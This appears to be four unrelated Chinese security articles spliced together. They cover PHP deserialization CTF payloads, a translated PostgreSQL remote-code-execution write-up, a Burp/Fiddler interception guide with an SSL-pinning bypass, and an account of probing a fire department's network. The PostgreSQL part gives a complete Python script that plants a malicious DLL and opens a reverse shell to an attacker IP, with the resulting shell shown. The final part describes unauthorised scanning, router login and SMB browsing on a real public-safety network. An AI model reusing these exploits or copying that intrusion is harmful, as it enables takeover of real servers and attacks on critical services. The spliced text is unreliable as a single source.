}
public function __wakeup(){
echo "__wakeup<br>";
}
}
$obj = new test(); //实例化对象，调用__construct()方法，输出__construct
$obj->echoP(); //调用echoP()方法，输出"abc"
echo $obj; //obj对象被当做字符串输出，调用__toString()方法，输出__toString
$s =serialize($obj); //obj对象被序列化，调用__sleep()方法，输出__sleep
echo unserialize($s); //$s首先会被反序列化，会调用__wake()方法，被反序列化出来的对象又被当做字符串，就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法，输出__destruct
?>
显示结果：
例子载自于 **脚本之家** ，通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。
## **0x03:对象注入**
**当用户的请求在传给反序列化函数`unserialize()`之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化，攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的`unserialize`函数，最终导致一个在该应用范围内的任意PHP对象注入。**
**对象漏洞** 出现得满足两个前提：
> 一、`unserialize`的参数可控。
> 二、 代码里有定义一个含有魔术方法的类，并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
比如这个列子，直接是用户生成的内容传递给`unserialize()函数`，那就可以构造这样的语句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
在脚本运行结束后便会调用`_destruct`函数，同时会覆盖test变量输出lemon。
发现这个漏洞，便可以利用这个漏洞点控制输入变量，拼接成一个序列化对象。
再看下面这个例子：
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
其实仔细观察就会发现，其实我们手动构造序列化对象就是为了`unserialize()函数`能够触发`__destruc()`函数，然后执行在`__destruc()`函数里恶意的语句。
所以我们利用这个漏洞点便可以获取web shell了
## 0x04:绕过魔法函数的反序列化
#### wakeup()魔法函数绕过
> PHP5<5.6.25
> PHP7<7.0.10
PHP反序列化漏洞`CVE-2016-7124`
#a#重点：当反序列化字符串中，表示属性个数的值大于真实属性个数时，会绕过 __wakeup 函数的执行
#### 具体实例：
**百度杯——Hash**
前面的步骤就不再叙述，主要是为了学习反序列化的一些知识
其实仔细分析代码，只要我们能绕过两点即可得到`f15g_1s_here.php`的内容
* 绕过正则表达式对变量的检查
* 绕过_wakeup()魔法函数，因为如果我们反序列化的不是`Gu3ss_m3_h2h2.php`,这个魔法函数在反序列化时会触发并强制转成`Gu3ss_m3_h2h2.php`
那么问题就来了，如果绕过正则表达式
* `/[oc]:\d+:/i`，例如：`o:4:`这样就会被匹配到,而绕过也很简单，只需加上一个`+`,这个正则表达式即匹配不到`0:+4:`
* 绕过`_wakeup()`魔法函数，上面提到了当反序列化字符串中，表示 **属性个数的值** 大于 **真实属性个数** 时，会绕过 `_wakeup` 函数的执行
编写php序列化脚本
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
#先创建一个对象，自动调用__construct魔法函数
$obj = new Demo('f15g_1s_here.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换，来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换，来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>
将得到的参数传入即可得到另一段代码，这里主要学习反序列化的知识，后面的就不再写了。
## 0x05:session反序列化攻击
先来了解一下关于`session`的一些基础知识
#### 什么是session
> 在计算机中，尤其是在网络应用中，称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样，当用户在应用程序的 Web
> 页之间跳转时，存储在 Session 对象中的变量将不会丢失，而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web
> 页时，如果该用户还没有会话，则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后，服务器将终止该会话。
#### session是如何起作用的
> 当第一次访问网站时，Seesion_start()函数就会创建一个唯一的Session ID，并自动通过HTTP的响应头，将这个Session
> ID保存到客户端Cookie中。同时，也在服务器端创建一个以Session
> ID命名的文件，用于保存这个用户的会话信息。当同一个用户再次访问这个网站时，也会自动通过HTTP的请求头将Cookie中保存的Seesion
> ID再携带过来，这时Session_start()函数就不会再去分配一个新的Session ID，而是在服务器的硬盘中去寻找和这个Session
> ID同名的Session文件，将这之前为这个用户保存的会话信息读出，在当前脚本中应用，达到跟踪这个用户的目的。
除此之外，还需要知道`session_start()`这个函数已经这个函数所起的作用：
> 当会话自动开始或者通过 session_start() 手动开始的时候， PHP
> 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据（即session文件）， PHP
> 会自动反序列化session文件的内容，并将之填充到 $_SESSION
> 超级全局变量中。如果不存在对应的会话数据，则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID，则创建一个由32个字母组成的PHPSESSID，并返回set-> cookie。
了解了有关`session`的概念后，还需要了解`php.ini`中一些`Session`配置
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
这里我是在Windows上搭建的所以显示的路径为D盘，如果是在Linux上搭建的话，常见的`php-session`存放位置有：
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
想要知道为什么为出现这个session漏洞，就需要了解session机制中对序列化是如何处理的
参考l3m0n师傅的表
这个便是在相应的处理器处理下，`session`所存储的格式，这里举个例子来了解一下在不同的处理器下，session所储存的格式有什么不一样(测试的时候php版本一定要大于
**5.5.4** ，不然session写不进文件))
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
比如这里我get进去一个值为shy,查看一下各个存储格式：
php : lemon|s:3:"shy";
php_serialize : a:1:{s:5:"lemon";s:3:"shy";}
php_binary : lemons:3:"shy";
这有什么问题，其实PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。如：使用不同引擎来处理session文件。
#### 使用不同的引擎来处理session文件
php引擎的存储格式是`键名 |
serialized_string`，而php_serialize引擎的存储格式是`serialized_string`。如果程序使用两个引擎来分别处理的话就会出现问题。
下面就模仿师傅的操作学习一下
先以`php_serialize`的格式存储，从客户端接收参数并存入`session`变量
**(1.php)**
接下来使用`php`引擎读取session文件
**(2.php)**
**攻击思路：**
首先访问`1.php`，在传入的参数最开始加一个`'|'`，由于`1.php`是使用`php_serialize`引擎处理，因此只会把`'|'`当做一个正常的字符。然后访问`2.php`，由于用的是`php`引擎，因此遇到`'|'`时会将之看做键名与值的分割符，从而造成了歧义，导致其在解析session文件时直接对`'|'`后的值进行反序列化处理。
这里可能会有一个小疑问，为什么在解析session文件时直接对`'|'`后的值进行反序列化处理，这也是处理器的功能？这个其实是因为`session_start()`这个函数，可以看下官方说明：
首先生成一个 **payload** ：
<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->nage = "hacker";
$a->age = "1111";
echo serialize($a);
攻击思路中说到了因为不同的引擎会对`'|'`，产生歧义，所以在传参时在payload前加个`'|'`，作为a参数，访问`1.php`,查看一下本地session文件，发现payload已经存入到`session`文件
`php_serialize`引擎传入的payload作为lemon对应值，而`php`则完全不一样：
访问一下`2.php`看看会有什么结果
成功触发了student类的`__wakeup()`方法,所以这种攻击思路是可行的。但这种方法是在可以对`session`的进行赋值的，那如果代码中不存在对`$_SESSION`变量赋值的情况下又该如何利用
#### 没有$_SESSION变量赋值
在`PHP`中还存在一个`upload_process`机制，即自动在`$_SESSION`中创建一个 **键值对** ，值中刚好存在
**用户可控的部分** ，可以看下官方描述的，这个功能在文件上传的过程中利用`session`实时返回上传的进度。
但第一次看到真的有点懵，这该怎么去利用，看了大师傅的博客才明白，这种攻击方法与上一部分基本相同，不过这里需要先上传文件，同时`POST`一个与`session.upload_process.name`的同名变量。后端会自动将`POST`的这个
**同名变量作为键** 进行 **序列化** 然后存储到`session`文件中。下次请求就会 **反序列化session文件**
，从中取出这个键。所以攻击点还是跟上一部分一模一样，程序还是使用了不同的 **session** 处理引擎。
实践一下，可以来看一道ctf题目
**Jarvis OJ——PHPINFO**
当我们随便传入一个值时，便会触发`__construct()`魔法函数，从而出现`phpinfo`页面，在phpinfo页面发现
发现默认的引擎是`php-serialize`，而题目所使用的引擎是php，因为反序列化和序列化使用的处理器不同，由于格式的原因会导致数据无法正确反序列化，那么就可以通过构造伪造任意数据。
观察代码会发现这段代码是没有`$_SESSION`变量赋值但符合使用不同的引擎来处理session文件，所以这里就使用到了php中的`upload_process`机制。
通过`POST`方法来构造数据传入`$_SESSION`，首先构造`POST`提交表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来构造序列化payload
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
将payload改为如下代码：
print_r(scandir(dirname(__FILE__)));
#scandir目录中的文件和目录
#dirname函数返回路径中的目录部分
#__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中，则返回被包含的文件名
#序列化后的结果
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止双引号被转义，在双引号前加上`\`，除此之外还要加上`|`
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
在这个页面随便上传一个文件，然后抓包修改filename的值
可以看到`Here_1s_7he_fl4g_buT_You_Cannot_see.php`这个文件，flag肯定在里面，但还有一个问题就是不知道这个路径，路径的问题就需要回到phpinfo页面去查看
$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径，与 $_SERVER['SCRIPT_NAME'] 不同的是，这是服务器端的绝对路径。
既然知道了路径，就继续构造payload即可
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。
接下来的就还是序列化然后改一下格式传入即可，后面的就不再写了
## 总结：
通过这次的学习，真的学到了很多关于反序列化的知识！
**参考博客：**
[PHP反序列化漏洞与Webshell](http://xz.aliyun.com/t/2202)
[实战经验丨PHP反序列化漏洞总结 ](http://www.freebuf.com/column/197496.html)
[PHP-Session利用总结](http://zhuanlan.zhihu.com/p/90879209)
[关于PHP中的SESSION技术](http://www.cnblogs.com/privateWa/p/8832450.html)
[l3m0n](http://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html)
[php session序列化攻击面浅析](http://www.cnblogs.com/litlife/p/10748506.html) | 社区文章 |
# Pgsql堆叠注入场景下通过`CREATE FUNCTION`来实现命令执行
|
##### 译文声明
本文是翻译文章，文章原作者 Steven Seeley，文章来源：srcincite.io
原文地址：<https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 2\. 前言
在本篇文章中我将分享如何在`PostgreSQL`堆叠注入场景中通过`CREATE FUNCTION`关键字来实现命令执行的思路。
简要信息如下：
* CVE：N/A
* CVSS：4.1 (AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L)
* 适用环境：Windows、Linux、Unix
在新版的`PostgreSQL`中：
* 12.3
* 11.8
* 10.13
* 9.6.18
* 9.5.22
其数据库超管用户被限制只允许从默认目录读取后缀为`.dll`或`.so`动态库文件，举例如下：
* Windows：`C:\Program Files\PostgreSQL\11\lib`
* Unix/Linux：`/var/lib/postgresql/11/lib`
此外，默认情况下`NETWORK_SERVICE`与`postgres`这两个系统用户对该目录均无写入权限。但是经过鉴权的数据库超管用户可以通过调用`lo_import`函数将文件写入`pg_largeobject`系统表，再更新对应的数据内容将原本的内容替换为我们的恶意代码（通常是反弹个shell），随后通过`lo_export`函数转储数据至动态库目录，最终生成我们的恶意动态库文件。`CREATE
FUNCTION`的另一个骚操作就是可以接收指定目录来遍历其动态库中的相关函数。因此只要已鉴权用户可以将动态库文件写入对应的存储目录，然后通过`CREATE
FUNCTION`的目录遍历特性来加载动态库文件就可以实现命令执行。
## 3\. 利用流程
### 3.1. 通过`lo_import`获得一个`OID`
`pg_largeobject`系统表保存了那些标记为`large object(大对象)`的数据。
每个`大对象`都会关联其被创建成功时分配的`OID`标志。此后`大对象`都分解成足够小的数据块并关联`pageno`字段来存储`pg_largeobject`里。每页的数据定义为`LOBLKSIZE(目前是BLCKSZ/4或者通常是
2K 字节)`。
该过程需使用`lo_import`函数，举例如下:
select lo_import('C:/Windows/win.ini',1337);
#不是必须使用`C:/Windows/win.ini`,任意一个存在的绝对路径都行，只是为了得到一个OID，在本例中OID为1337
在Windwos场景下这里我们还可以使用[`UNC路径`](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/using-unc-shares)，如果使用该项技术则可跳过3.3，但我希望兼容Unix/Windows平台，所有没有使用。
### 3.2. 基于`OID`来进行数据替换
现在，我们基于`OID`的值来替换`pg_largeobject`表中的数据，将其对应内容替换为我们的恶意代码。这些`恶意代码`最终需要基于目标数据库的完整版本来进行编译还要匹配对应的系统架构。对于超过2048字节大小的文件，`pg_largeobject`表需使用`pageno`字段来将文件分割成大小为2048字节大小的数据块。分割示例如下：
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));
...
通过使用PostgreSQL中的[`object identifier
types`](https://www.postgresql.org/docs/8.1/datatype-oid.html)，可以跳过第1阶段（并且仅对第2阶段执行单个语句执行），但是我没有时间确认这一点。
### 3.3. 使用`lo_export`函数生成恶意动态库
现在我们可以通过`lo_export`来转储之前变相导入的数据来生恶意的动态库文件。不过这一步不能指定目录，因为这样做会触发`PostgreSQL`内置的安全检查，而且就算能绕过该检查，`NETWORK_SERVICE`（Unix/Linux场景下为`postgres`）帐户也存在路径限制，搞不定搞不定。
select lo_export(1337, 'poc.dll');
# 导出的poc.dll会存储在默认的动态库目录
### 3.4. 基于恶意动态库文件创建函数
我在以往的研究中提到过，可以使用绝对路径（包括`UNC`）来加载基于`Postgresql
9.x`的扩展从而执行系统命令。`[@zerosum0x0](https://github.com/zerosum0x0
"@zerosum0x0")`师傅也有相关的[操作笔记](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)。不过那个时候对系统用户的文件操作权限并没有那么多的限制。
create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;
如今几年过去了，PostgreSQL官方决定禁用`CREATE
FUNCTION`时使用绝对路径导致现在这种技术已经失效了。不过现在我们可以很方便地从对应的默认动态库目录中遍历并加载我们转储的恶意动态库文件，举例如下：
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
# 作者注入的恶意代码就是用来反弹shell的，因此创建函数才如此构造，实际场景中可根据需要自定义。
### 3.4. 反弹shell
成功创建`connect_back`函数后，直接通过`select`指令来调用：
select connect_back('192.168.100.54', 1234);
## 4\. 问题现状
[`ZDI团队`](https://www.zerodayinitiative.com/)咨询过PostgreSQL官方对该问题的意见，但无后文，后来我得知官方并不打算修复此问题，因为官方认为该问题属于正常系统功能而不是漏洞。
## 5\. 造个轮子
代码如下，将生成poc.sql文件，以超管用户在数据库上逐步执行，或将poc.sql中的sql命令逐个通过注入点执行：
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
跑一下展示下效果：
steven@pluto:~/postgres-rce$ ./poc.py
(+) usage ./poc.py <connectback> <port> <dll/so>
(+) eg: ./poc.py 192.168.100.54 1234
steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll
(+) building poc.sql file
(+) run poc.sql in PostgreSQL using the superuser
(+) for a db cleanup only, run the following sql:
SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
DROP FUNCTION connect_back(text, integer);
steven@pluto:~/postgres-rce$ nc -lvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 192.168.100.122 49165 received!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files\PostgreSQL\12\data>whoami
nt authority\network service
C:\Program Files\PostgreSQL\12\data> | 社区文章 |
# 1.网页抓包
## 1.1 火狐浏览器抓包
`环境需求：`
火狐浏览器
代理插件
(1) 打开测试工具`BurpSuite`，默认工具拦截功能是开启的，颜色较深，我们点击取消拦截。
下图取消拦截状态，数据包可以自由通过：
(2) 按下图顺序点击选显卡来到`代理设置`
(3) 可以看到默认的代理设置情况，本地代理地址：127.0.0.1，代理端口8080。如果前面没有勾选一定要选择勾选。工具代理设置完毕。
(4) 证书安装，浏览器输输入`http://burp/`,点击图示位置下载证书
(5) 配置证书，打开浏览器并导入证书
火狐浏览器开打开证书配置界面
(6) 导入选中下载的，勾选信任确认
(7) 火狐设置和Burpsuite一致的代理然后确认。
(8) 访问百度查看抓包情况
(9) 不用了记得把代理关了，记住开了`代理和burpsuite`共存亡！
## 1.2 谷歌浏览器抓包
其他都和火狐差不多，只是`导入证书有点小差别`！
设置--->隐私设置和安全性--->更多--->管理证书
**导入证书**
`下一步到浏览本地证书位置`
`选所有文件`，不然可能你找不到你的证书!!
选择证书后打开进入下一步。
按下图位置设置进入下一步，完成。
**最后设置证书信任**
按图示操作找到刚才安装的证书。
选中证书点高级
按下图勾选，确认。最后重启浏览器即可。
百度也能抓！
## 1.3 代理插件
反反复复在浏览器进行设置很不友好，一点不机车。
可以到火狐商店下载代理插件（谷歌同理），设置好后一劳永逸。
点击选项设置和BurpSuite代理一样的代理地址和端口保存即可
`点击图示位置开启代理：`
`点击图示位置关闭代理：`
这样抓包代理切换就非常方便了！
# 2.微信小程序抓包
## 2.1测试环境
Mac电脑（windows类似,设置全局代理或者使用Proxifier）
正式版微信3.0（截止20210330属于正式最新版）
Burpsuite 2.0
## 2.2测试流程
### 2.2.1开启电脑代理
勾选情况如图所示，记住代理端口为4780，确认并应用。
### 2.2.2 开启burpsuite代理
设置代理地址和端口与电脑代理一致即可
### 2.2.3电脑打开小程序
将小程序用手机发送到电脑端并打开即可
### 2.2.4查看抓包效果
# 3.APP抓包
# 3.1测试环境
MacOS（Windows一致）
Burpsuite 版本 Pro 2.1
MUMU安卓模拟器 版本1.9.41
# 3.2设置代理
## 3.2.1模拟器代理设置
（1）设置-->WLAN-->鼠标长按wifi名称
（2）修改网络-->下拉高级选项-->下拉代理选项-->选择手动
## 3.2.2 设置代理一致
(1)代理服务器填写电脑ip，默认端口8080即可，设置完毕保存！
（2）Burpsuite设置代理与模拟器一致并保存。
# 3.3 下载证书
（1）模拟器打开浏览器，并输入<http://burp回车，点击CA> Certificate下载证书，默认下载的证书是der格式，是无法安装的。
（2）通过模拟器自带的系统应用工具“文件管理器”来修改格式。
（3）打开文件管理器-->选择$MuMu共享文件夹找到我们刚下载的证书
（4）长按证书-->选择重命名-->将其证书修改为cer-->确认。
# 3.4安装证书
（1）选择设置-->安全-->从SD卡安装-->点击刚才修改的证书-->设置一个名称保存即可
（2）选择设置-->安全-->从SD卡安装-->信任的凭据-->用户 即可看到我们的证书
# 3.5测试代理是否成功
（1）模拟器打开浏览器访问百度首页，查看Burpsuite是否抓包成功。
# 3.6 APP抓包测试
发现可以抓包，但是这是最理想情况，大多数情况不适用，比如有证书验证等，后面有时间写。
但是有朋友发现部分APP无法抓取，会出现数据无法抓取，原因之一可能是设置了[SSL
Pinning](https://www.jianshu.com/p/22b56d977825),下面在该文章（下载证书，设置代理）的基础上介绍一种突破方法！还有很多情况，论坛有很多相关优秀文章我就不重复写了。
# 3.7 突破SSL-SSL Pinning
MacOS（Windows一致）
Burpsuite 版本 Pro 2.1
MUMU安卓模拟器 版本1.9.41
Xpose 5.11
JustTrustme 版本 v2.0
# 3.7.1设置root权限
（1）模拟器开启root权限，选择右上角功能选项-->选择系统设置-->开启root权限（xpose框架需要此权限）-->重启模拟器
# 3.7.2 安装xpose
xpose和JustTrustme已经打包到公众号“情报搬运”，后台回复app抓包即可获取下载地址。
先更换机型，我在测试的时候发现默认机型不匹配，无法安装，更换机型
（1）选择右上角功能选项-->选择系统设置-->属性设置-->选择预设机型-->选择一款机型（我选的vivo）-->重启模拟器
（2）把下载的xpose拖到模拟器安装-->打开xpose-->选择安装（资源在国外，可能失败，多安装几次）
（3）安装完成后的样子
# 3.7.3安装JustTrustme
（1）JustTrustme是突破SSL Pinning的关键，简单理解就是安装到xpose框架的一个模块。安装方法和安装app一样。可能遇到下面的问题
（2）若提示安装失败或着需要激活xpose就重启模拟器即可
（3）重启后打开xpose，选择左上角功能块-->选择模块
<font color="red">（3）勾选我们的JustTrustMe模块即可，其他模块安装方法一样。
</font>
<font color="red">
# 3.7.4 测试抓包效果
# 4\. Fiddler抓包
**测试环境为MACOS**
## 4.1.配置证书
信任证书、勾选HTTPS选项
## 4.2.确认端口
默认端口8866
## 4.3.浏览器设置代理
代理端口和fiddler一致！
## 4.4 访问查看抓包效果
# 5.Burpsuite抓包问题解决
## 5.1.问题描述
有时候按照教程配置之后也无法抓包，有哪些原因呢？
### 5.1.1原因一 未正确配置
那就按照上面教程过一遍再试试
### 5.1.2 原因二 证书无效
有的网站对证书做了限制或者黑名单，所以Burpsuite无法抓取
## 5.2.解决办法
### 5.2.1 更换抓包工具
换成Fiddler:
有朋友觉得fidder对数据包进行操作不方便，那么可以将burpsuite作为上层代理，把fiddler抓到的流量转到burpsuite上面，然后进行操作就很方便了。方法见下：
### 5.2.2 Fiddler和Burpsuite联动
总体配置不变，首先正确配置这两个工具
然后Fiddler开启网关
最后各个工具代理配置情况
**firefox浏览器代理配置：**
**Fiddler代理配置：**
**Fiddler代理网关：**
**Burpsuite代理：**
## 5.3代理走向
服务器-->Fiddler-->Burpsuite-->服务器
</font> | 社区文章 |
# 基于智能手机的近源渗透测试案例分享（二）——“点到为止”的测试成都某消防部门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Duncan SecTeam
## 0x00、引言
自从Team转向IoT安全后，我们确实发现了一些有趣的现象以及让人揪心的网络安全隐患，本以为这些问题只存在于中小微企业或者说非网络安全企业，直到发表上一篇文章【1】之后，我们才开始反思之前的假设或者基于已有经验得出的推定。随着互联网的飞速发展以及智能化设备（手机，平板，智能家电，智能机器人以及智能查询终端），传统的企业信息化不可避免的要向物联网过渡，一是节约企业建设和运营成本（比如，部署WiFi/IP摄像头可以减少传统网络布线的人财物消耗），二是智能设备的引入的确可以进一步压缩人力成本支出（HR和财务部门最喜欢这个吧）。
中小微企业出于成本考虑，往往会在安全与效益这个两难抉择中，“莫名其妙”地选择后者（或许，这也是国内网络安全企业生存压力始终没能缓解的原因之一吧）。当然，Team前一篇文章【1】中的某网络安全公司应该不能算作此例之中，他们内网的曝露的确是公司IoT建设中的一个绝对偶然。
然而，小白最近因为家中遭受灾害的原因，意外发现了成都市某消防部门IoT设备所导致的一系列安全隐患。出于小白天生的“呆萌”与“自保”心理，小白第一时间把详细情况和关键截图全部提交到该消防部门的2家主管单位（由于该消防部门的主管衙门上报渠道实在太少了，费了很大力气终于成功提交了相关内容，好不容易得到了所上报事件的处理流水单号）。本想上报了就完了，没想到今天因为同样的原因，小白又去了一趟该消防部门，相关漏洞还没有被堵上，想了想还是写点东西吧，万一成都市政府信息部门的技术大牛看到了，咱好歹也算为消防工作做了点贡献吧，再不济还有几百大洋的稿费啊（毕竟，快过年了嘛）。
## 0x01、背景介绍
前些日子，小白因为自己家里的事情去消防部门配合工作。出于职业习惯，小白通过某WiFi共享软件在该消防部门的大门口（确切地说，还在围墙外面），发现了一个名为“cd****”的WiFi，并查看到WiFi密码为“xfdd119”（**是该消防部门管辖区域的拼音缩写），该WiFi信号强度不算强，没有达到满格信号。由于这个消防部门周围没有任何商业设施（不要说咖啡厅，就连麻将馆或者茶馆都没有啊），小白心想这应该就是这个消防大队的WiFi了吧。
向站岗的消防队员出示证件并报备后（还用84消毒液喷了鞋底，但没消毒手部，WHY？），小白进入了该消防部门，此时的WiFi信号强度已经明显变强，最终WiFi信号满格。此外，WiFi信号在大院里头（因为旁边全是消防车，小白不敢拍照，不能犯原则性错误），一楼以及三楼等不同地理位置信号强度都是满格，当然只是基于一加6手机检测到的信号，至于iPhone是否能够如此，不得而知（毕竟，iPhone烂的掉渣站的WiFi芯片早已臭名昭著）。由此可见，这个部门应该部署了一个很专业的无线路由器并且应该配备了很多无线中继，或许是因为消防部门内部需要部署的很多专业设备必须入网吧。整个测试的背景大概就是这样个情况。
以下是近源渗透过程中的软硬件及网络资源：
硬件：
——一加（OnePlus） 6，8G+128G
——型号：ONEPLUS A6000
软件：
——Android：10
——H2OS：A6000_22_201022
——文件管理器：X-plore （Android）
——Linux模拟器：Andrax v5
——Linux模拟器：Kali NetHunter
## 0x02、接入网络
小白此次整个测试过程的起点，也算是整个网络的接入点，就是这个名为“cd****”的WiFi。手机接入的是该WiFi的4G频段，后来发现该WiFi还有一个5G频段。
## 0x03、基于Android手机的近源测试
如前文所说，因为家里遭受了灾害损失，小白需要到该消防部门报告情况并申领相关表格，因此没有带笔记本电脑，身边可用计算设备就只有一台快停更的OP6（一加6）手机。
按照常规的测试套路，小白分别在andrax和nethunter上做了一些简单的内部网络探测操作。下面是andrax是执行nmap扫描的操作结果和转换为xls格式的扫描结果。内网里面有不少开放telnet的设备，好奇。。。。。。
如team之前发布的文章所说【1】，andrax默认没有安装traceroute，懒惰的小白选择了使用Nethunter来查看路由，但是忘了保存截屏。小白很清楚的记得，traceroute的第二条是一个公网地址，所以认为这个部门的网络建设还是不错的，至少WiFi网络没有通过别的内部网络再接入互联网。WiFi网络直接进互联网的话，最起码可以少暴露一些不必要的信息，加大内网发现难度，尤其在近源测试的时候，测试人员几乎是没有足够的时间进行A段，B段网络的扫描的（即便带了一个2万毫安的充电宝）。
从扫描结果看得出来，192.168.*.0/24网段网关应该是192.168.*.1，毕竟开放的端口还是很典型的网关端口。于是，小白试了试，确实看到了一个H3C路由器的管理登录口，发现admin账户（H3C默认的管理员账户，默认密码与用户名相同）的密码居然与WiFi密码相同！！！恕小白直言，这样的低级错误真不应该出现在这么重要的职能部门，毕竟这个错误完全赖不着别人，全是网管人员自己给自己挖的坑。
其中，111.9.*.22这个公网IP居然在被静态绑定了，那么就有意思了，我想擅长内网渗透的大牛应该半秒就懂了吧，小白属于后知后觉那种类型的（愚钝型），反应了老长时间才想明白。。。然后，用nmap尝试探测了111.9.*.0/24网段，挺有意思的，感觉是该部门完全使用的一个公网C段。
通过Android上超好用的X-plore，小白验证了一下SMB服务都是可以访问的，进一步印证111.9.*.0/24是一个有公网IP的内部网段，估计是运营商预留的。对于消防等涉及老百姓安危的行业和部门，这么做完全合情合理！
其中，有一个网段的445使用的全是SMB v1.0协议，另一个网段使用的是SMB
v2.0及以上协议，并且设置了密码保护，这算是网管做的很好的地方（此处应有掌声）。
## 0x04、后续处理
虽然小白只是一个IoT安全领域的小学生，但是基本的法律常识是有的，不仅讲“武德”，还遵纪守法，以白帽子的标准严格要求自己，因此该部分不给出任何可能的内网（横向）渗透措施，并且第一时间通告了该消防部门的2家主管单位。
## 0x05、总结
1.IoT环境下，WiFi是一种高效、便捷的通讯手段，但也是黑客入侵的一种有效途径，是IoT环境下很现实的网络安全隐患。
2.网络安全运维人员的安全意识仍旧是IoT网络安全中一个不可忽视的短板（至少相对较短的短板）。
